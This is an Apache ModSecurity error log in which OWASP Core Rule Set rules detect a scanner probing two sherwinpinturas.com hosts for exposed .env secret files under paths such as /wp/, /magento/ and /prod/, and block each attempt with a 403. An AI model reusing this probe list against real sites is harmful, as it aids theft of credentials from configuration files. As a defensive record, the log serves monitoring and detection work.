[Sat Oct 24 21:49:35.001456 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWhwAAACE"]
[Sat Oct 24 21:49:35.001598 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWhwAAACE"]
[Sat Oct 24 21:49:35.001827 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWhwAAACE"]
[Sat Oct 24 21:49:35.036625 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLz8oejtZfsaip1YpPgAAABE"]
[Sat Oct 24 21:49:35.036921 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLz8oejtZfsaip1YpPgAAABE"]
[Sat Oct 24 21:49:35.037290 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at1gLz8oejtZfsaip1YpPgAAABE"]
[Sat Oct 24 21:49:35.039748 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiAAAACE"]
[Sat Oct 24 21:49:35.039893 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiAAAACE"]
[Sat Oct 24 21:49:35.040124 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiAAAACE"]
[Sat Oct 24 21:49:35.083276 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLz8oejtZfsaip1YpPwAAABE"]
[Sat Oct 24 21:49:35.083437 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLz8oejtZfsaip1YpPwAAABE"]
[Sat Oct 24 21:49:35.083745 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "at1gLz8oejtZfsaip1YpPwAAABE"]
[Sat Oct 24 21:49:35.099714 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiQAAACE"]
[Sat Oct 24 21:49:35.099917 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiQAAACE"]
[Sat Oct 24 21:49:35.100193 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiQAAACE"]
[Sat Oct 24 21:49:35.104895 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLz8oejtZfsaip1YpQAAAABE"]
[Sat Oct 24 21:49:35.105036 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLz8oejtZfsaip1YpQAAAABE"]
[Sat Oct 24 21:49:35.105336 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "at1gLz8oejtZfsaip1YpQAAAABE"]
[Sat Oct 24 21:49:35.150267 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLz8oejtZfsaip1YpQQAAABE"]
[Sat Oct 24 21:49:35.150441 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLz8oejtZfsaip1YpQQAAABE"]
[Sat Oct 24 21:49:35.150786 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "at1gLz8oejtZfsaip1YpQQAAABE"]
[Sat Oct 24 21:49:35.178171 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWigAAACE"]
[Sat Oct 24 21:49:35.178379 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWigAAACE"]
[Sat Oct 24 21:49:35.178614 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWigAAACE"]
[Sat Oct 24 21:49:35.180449 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLz8oejtZfsaip1YpQgAAABE"]
[Sat Oct 24 21:49:35.180587 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLz8oejtZfsaip1YpQgAAABE"]
[Sat Oct 24 21:49:35.180808 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at1gLz8oejtZfsaip1YpQgAAABE"]
[Sat Oct 24 21:49:35.218959 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiwAAACE"]
[Sat Oct 24 21:49:35.219122 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiwAAACE"]
[Sat Oct 24 21:49:35.219379 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWiwAAACE"]
[Sat Oct 24 21:49:35.219652 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLz8oejtZfsaip1YpQwAAABE"]
[Sat Oct 24 21:49:35.219879 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLz8oejtZfsaip1YpQwAAABE"]
[Sat Oct 24 21:49:35.220115 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at1gLz8oejtZfsaip1YpQwAAABE"]
[Sat Oct 24 21:49:35.248669 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjAAAACE"]
[Sat Oct 24 21:49:35.248857 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjAAAACE"]
[Sat Oct 24 21:49:35.249076 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjAAAACE"]
[Sat Oct 24 21:49:35.268052 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLz8oejtZfsaip1YpRAAAABE"]
[Sat Oct 24 21:49:35.268208 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLz8oejtZfsaip1YpRAAAABE"]
[Sat Oct 24 21:49:35.268482 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at1gLz8oejtZfsaip1YpRAAAABE"]
